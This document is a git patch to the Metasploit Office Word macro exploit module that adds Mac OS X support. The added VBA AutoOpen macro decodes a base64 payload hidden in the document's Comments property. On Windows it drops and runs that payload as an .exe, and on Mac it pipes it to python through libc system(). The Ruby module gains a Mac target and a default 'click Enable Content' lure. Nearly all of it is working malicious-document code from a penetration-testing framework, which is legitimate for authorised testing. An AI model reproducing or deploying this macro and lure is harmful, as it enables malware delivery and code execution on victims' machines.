From 3d269b46ad444633d89c110b0d63baa9893fcc65 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 16 Feb 2017 12:28:11 -0600 Subject: [PATCH] Support OS X for Microsoft Office macro exploit --- .../office_word_macro/word/vbaData.xml | 2 +- .../office_word_macro/word/vbaProject.bin | Bin 17920 -> 23040 bytes .../exploits/office_word_macro/macro.vba | 42 ++++++++++-------- .../windows/fileformat/office_word_macro.rb | 25 ++++++++--- 4 files changed, 43 insertions(+), 26 deletions(-) mode change 100644 => 100755 data/exploits/office_word_macro/word/vbaData.xml mode change 100644 => 100755 data/exploits/office_word_macro/word/vbaProject.bin diff --git a/data/exploits/office_word_macro/word/vbaData.xml b/data/exploits/office_word_macro/word/vbaData.xml old mode 100644 new mode 100755 index 31ba994856..fd613d4fa0 --- a/data/exploits/office_word_macro/word/vbaData.xml +++ b/data/exploits/office_word_macro/word/vbaData.xml @@ -1,2 +1,2 @@ - \ No newline at end of file + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/vbaProject.bin b/data/exploits/office_word_macro/word/vbaProject.bin old mode 100644 new mode 100755 index 36867c5fec17a88b59711219154f3768d0ee6e92..bd1940cf579b96459a0a236ae187302dbe6f0185 GIT binary patch literal 23040 zcmeHv4RjR8m2P#bB}RWR5&{d5p*08?ur$o*4+$eYe-gqLNJug$SO$$|T0eL+GoBfN zWXJZ%C=QOD1luGbFSdhiHjiYTglrrR`|^^bIP3=R^V=nf_dF-hXCo5tS#35s`ElYU z0ZqT}R(Fe*5H@ylvge)Sl5SV^ty@*MZr%F3RXrE}sbKQCuPwjG=D4jagQeAMmSw^V z2orE;WlThXAg!vZhGY!E58VGp5|{?BxoEsHfCR_`P@69RSOD38900ZPYWOz+76KLl zpaQG_PzYEIC;}`2ECpl&iUG?2%K<9@C4id&D*>wjGN2S-1FQj183bz)UI(xP)&n*G zZUIo-2ky@+fp!+fUlMK6$RhCLY!s5dakmsLZE!?-^iIy%zx3t@kNiN$0Fj#-6>c~4 zGLIH~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-9%sy&VN>V|5M2fr|*2!YPlM!Ub- z@2++Gn(KXjPc~7#di;&{7FUbM?P;oYS8D`*YoO8YY4WrLT0DVjcU^t8hp1sEJ{9HP z-WG>(LGzTV#BfBz?eR$bj-vee#<&}gS0i#$U5%?M(9+?B){qdgz{}i7iS}tYwJrnI&mvfn~V{GJRGIRJ9#2h;T+6>AC a(QnY{#)EMEB-%iZG?Errj8%=Z^4|e_d6Inq diff --git a/external/source/exploits/office_word_macro/macro.vba b/external/source/exploits/office_word_macro/macro.vba index 7e115b0319..03da5fb676 100644 --- a/external/source/exploits/office_word_macro/macro.vba +++ b/external/source/exploits/office_word_macro/macro.vba @@ -1,3 +1,5 @@ +Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long + Sub AutoOpen() On Error Resume Next Dim found_value As String @@ -6,17 +8,31 @@ Sub AutoOpen() If prop.Name = "Comments" Then found_value = Mid(prop.Value, 56) orig_val = Base64Decode(found_value) - Set fso = CreateObject("Scripting.FileSystemObject") - tmp_folder = fso.GetSpecialFolder(2) - tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe" - Set f = fso.createTextFile(tmp_name) - f.Write (orig_val) - f.Close - CreateObject("WScript.Shell").Run (tmp_name) + #If Mac Then + ExecuteForOSX (orig_val) + #Else + ExecuteForWindows (orig_val) + #End If + Exit For End If Next End Sub +Sub ExecuteForWindows(code) + On Error Resume Next + Set fso = CreateObject("Scripting.FileSystemObject") + tmp_folder = fso.GetSpecialFolder(2) + tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe" + Set f = fso.createTextFile(tmp_name) + f.Write (code) + f.Close + CreateObject("WScript.Shell").Run (tmp_name) +End Sub + +Sub ExecuteForOSX(code) + system ("echo """ & code & """ | python &") +End Sub + ' Decodes a base-64 encoded string (BSTR type). ' 1999 - 2004 Antonin Foller, http://www.motobit.com @@ -27,12 +43,10 @@ Function Base64Decode(ByVal base64String) Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" Dim dataLength, sOut, groupBegin - 'remove white spaces, If any base64String = Replace(base64String, vbCrLf, "") base64String = Replace(base64String, vbTab, "") base64String = Replace(base64String, " ", "") - 'The source must consists from groups with Len of 4 chars dataLength = Len(base64String) If dataLength Mod 4 <> 0 Then Err.Raise 1, "Base64Decode", "Bad Base64 string." @@ -40,18 +54,12 @@ Function Base64Decode(ByVal base64String) End If - ' Now decode each group: For groupBegin = 1 To dataLength Step 4 Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut - ' Each data group encodes up To 3 actual bytes. numDataBytes = 3 nGroup = 0 For CharCounter = 0 To 3 - ' Convert each character into 6 bits of data, And add it To - ' an integer For temporary storage. If a character is a '=', there - ' is one fewer data byte. (There can only be a maximum of 2 '=' In - ' the whole string.) thisChar = Mid(base64String, groupBegin + CharCounter, 1) @@ -69,18 +77,14 @@ Function Base64Decode(ByVal base64String) nGroup = 64 * nGroup + thisData Next - 'Hex splits the long To 6 groups with 4 bits nGroup = Hex(nGroup) - 'Add leading zeros nGroup = String(6 - Len(nGroup), "0") & nGroup - 'Convert the 3 byte hex integer (6 chars) To 3 characters pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _ Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _ Chr(CByte("&H" & Mid(nGroup, 5, 2))) - 'add numDataBytes characters To out string sOut = sOut & Left(pOut, numDataBytes) Next diff --git a/modules/exploits/windows/fileformat/office_word_macro.rb b/modules/exploits/windows/fileformat/office_word_macro.rb index f13e9a2925..7e8f4406c3 100644 --- a/modules/exploits/windows/fileformat/office_word_macro.rb +++ b/modules/exploits/windows/fileformat/office_word_macro.rb @@ -36,18 +36,30 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => true }, - 'Platform' => 'win', 'Targets' => [ - ['Microsoft Office Word', {}], + [ + 'Microsoft Office Word on Windows', + { + 'Platform' => 'win', + } + ], + [ + 'Microsoft Office Word on Mac OS X (Python)', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } + ] ], 'Privileged' => false, - 'DisclosureDate' => "Jan 10 2012", - 'DefaultTarget' => 0 + 'DisclosureDate' => "Jan 10 2012" )) register_options([ - OptString.new("BODY", [false, 'The message for the document body', '']), + OptString.new("BODY", [false, 'The message for the document body', + 'Contents of this document are protected. Please click Enable Content to continue.' + ]), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) ], self.class) end @@ -60,8 +72,9 @@ class MetasploitModule < Msf::Exploit::Remote when /document\.xml/ buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) when /core\.xml/ + p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe b64_payload = ' ' * 55 - b64_payload << Rex::Text.encode_base64(generate_payload_exe) + b64_payload << Rex::Text.encode_base64(p) buf.gsub!(/PAYLOADGOESHERE/, b64_payload) end